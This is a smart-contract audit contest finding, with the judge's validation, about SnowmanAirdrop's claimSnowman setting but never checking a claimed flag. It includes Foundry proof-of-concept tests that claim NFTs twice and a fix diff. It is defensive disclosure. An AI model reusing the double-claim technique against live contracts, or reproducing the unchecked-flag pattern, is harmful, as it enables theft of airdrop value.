Snowman Merkle Airdrop
AI First Flight #10
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EXP
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Submission Details
Severity: low
Valid

claimSnowman() never checks s_hasClaimedSnowman — a receiver can re-acquire their Snow balance and claim again with the same Merkle proof

wolzies

Root + Impact

Description

The contract tracks claims in s_hasClaimedSnowman and sets it to true after a successful claim — but it never reads it. The only thing stopping a second claim is the balance check (balanceOf(receiver) == 0 reverts), and that is trivially bypassed: after claiming, the receiver buys 1 Snow again (same balance as before), and the same Merkle proof verifies again because the leaf is built from (receiver, currentBalance):

@> if (i_snow.balanceOf(receiver) == 0) {
@> revert SA__ZeroAmount();
@> }
@> // ... signature + Merkle proof checks ...
@> uint256 amount = i_snow.balanceOf(receiver);
@> bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(receiver, amount))));
@> if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
@> revert SA__InvalidProof();
@> }
@> i_snow.safeTransferFrom(receiver, address(this), amount);
@> s_hasClaimedSnowman[receiver] = true; // set, never checked
@> emit SnowmanClaimedSuccessfully(receiver, amount);
@> i_snowman.mintSnowman(receiver, amount);

The receiver can repeat this indefinitely, minting a fresh batch of NFTs on every cycle (each cycle costs only the 5-ether Snow buy fee).

Risk

Likelihood: High — any claimer can do it with an ordinary buySnow call; no special setup or privilege is needed.

Impact: High — the one-claim-per-user rule is unenforceable, so a single user can mint unlimited Snowman NFTs, draining the airdrop's scarcity and value.

Proof of Concept

Alice claims her 1 Snow (→ 1 NFT), buys 1 Snow again for 5 ether, and claims again with the same proof (→ a second NFT). The s_hasClaimedSnowman flag is set after the first claim but never checked.

function test_H2_doubleClaimByReacquiringSnow() public {
// Alice claims her 1 Snow -> 1 NFT.
vm.prank(alice);
snow.approve(address(airdrop), 1);
bytes32 digest = airdrop.getMessageHash(alice);
(uint8 v, bytes32 r, bytes32 s) = vm.sign(alKey, digest);
vm.prank(alice);
airdrop.claimSnowman(alice, AL_PROOF, v, r, s);
assertEq(nft.balanceOf(alice), 1, "first claim gave 1 NFT");
assertEq(snow.balanceOf(alice), 0, "alice's Snow went to the airdrop");
assertTrue(airdrop.getClaimStatus(alice), "marked as claimed");
​
// Alice buys 1 Snow again (buyFee is 5 ether per Snow).
vm.deal(alice, 10 ether);
vm.prank(alice);
snow.buySnow{value: 5 ether}(1);
assertEq(snow.balanceOf(alice), 1, "alice is back to 1 Snow");
​
// Claim AGAIN with the same proof. The hasClaimed flag is
// never checked, so this succeeds.
vm.prank(alice);
snow.approve(address(airdrop), 1);
bytes32 digest2 = airdrop.getMessageHash(alice);
(uint8 v2, bytes32 r2, bytes32 s2) = vm.sign(alKey, digest2);
vm.prank(alice);
airdrop.claimSnowman(alice, AL_PROOF, v2, r2, s2);
​
assertEq(nft.balanceOf(alice), 2, "second claim gave another NFT");
}

Recommended Mitigation

Check the flag at the start of claimSnowman and set it before the external calls.

function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s)
external
nonReentrant
{
if (receiver == address(0)) {
revert SA__ZeroAddress();
}
+ if (s_hasClaimedSnowman[receiver]) {
+ revert SA__AlreadyClaimed();
+ }
if (i_snow.balanceOf(receiver) == 0) {
revert SA__ZeroAmount();
}
// ...
i_snow.safeTransferFrom(receiver, address(this), amount);
s_hasClaimedSnowman[receiver] = true;
emit SnowmanClaimedSuccessfully(receiver, amount);
i_snowman.mintSnowman(receiver, amount);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[L-01] Missing Claim Status Check Allows Multiple Claims in SnowmanAirdrop.sol::claimSnowman

# Root + Impact   **Root:** The [`claimSnowman`](https://github.com/CodeHawks-Contests/2025-06-snowman-merkle-airdrop/blob/b63f391444e69240f176a14a577c78cb85e4cf71/src/SnowmanAirdrop.sol#L44) function updates `s_hasClaimedSnowman[receiver] = true` but never checks if the user has already claimed before processing the claim, allowing users to claim multiple times if they acquire more Snow tokens. **Impact:** Users can bypass the intended one-time airdrop limit by claiming, acquiring more Snow tokens, and claiming again, breaking the airdrop distribution model and allowing unlimited NFT minting for eligible users. ## Description * **Normal Behavior:** Airdrop mechanisms should enforce one claim per eligible user to ensure fair distribution and prevent abuse of the reward system. * **Specific Issue:** The function sets the claim status to true after processing but never validates if `s_hasClaimedSnowman[receiver]` is already true at the beginning, allowing users to claim multiple times as long as they have Snow tokens and valid proofs. ## Risk **Likelihood**: Medium * Users need to acquire additional Snow tokens between claims, which requires time and effort * Users must maintain their merkle proof validity across multiple claims * Attack requires understanding of the missing validation check **Impact**: High * **Airdrop Abuse**: Users can claim far more NFTs than intended by the distribution mechanism * **Unfair Distribution**: Some users receive multiple rewards while others may receive none * **Economic Manipulation**: Breaks the intended scarcity and distribution model of the NFT collection ## Proof of Concept Add the following test to TestSnowMan.t.sol  ```Solidity function testMultipleClaimsAllowed() public { // Alice claims her first NFT vm.prank(alice); snow.approve(address(airdrop), 1); bytes32 aliceDigest = airdrop.getMessageHash(alice); (uint8 v, bytes32 r, bytes32 s) = vm.sign(alKey, aliceDigest); vm.prank(alice); airdrop.claimSnowman(alice, AL_PROOF, v, r, s); assert(nft.balanceOf(alice) == 1); assert(airdrop.getClaimStatus(alice) == true); // Alice acquires more Snow tokens (wait for timer and earn again) vm.warp(block.timestamp + 1 weeks); vm.prank(alice); snow.earnSnow(); // Alice can claim AGAIN with new Snow tokens! vm.prank(alice); snow.approve(address(airdrop), 1); bytes32 aliceDigest2 = airdrop.getMessageHash(alice); (uint8 v2, bytes32 r2, bytes32 s2) = vm.sign(alKey, aliceDigest2); vm.prank(alice); airdrop.claimSnowman(alice, AL_PROOF, v2, r2, s2); // Second claim succeeds! assert(nft.balanceOf(alice) == 2); // Alice now has 2 NFTs } ``` ## Recommended Mitigation **Add a claim status check at the beginning of the function** to prevent users from claiming multiple times. ```diff // Add new error + error SA__AlreadyClaimed(); function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s) external nonReentrant { + if (s_hasClaimedSnowman[receiver]) { + revert SA__AlreadyClaimed(); + } + if (receiver == address(0)) { revert SA__ZeroAddress(); } // Rest of function logic... s_hasClaimedSnowman[receiver] = true; } ```

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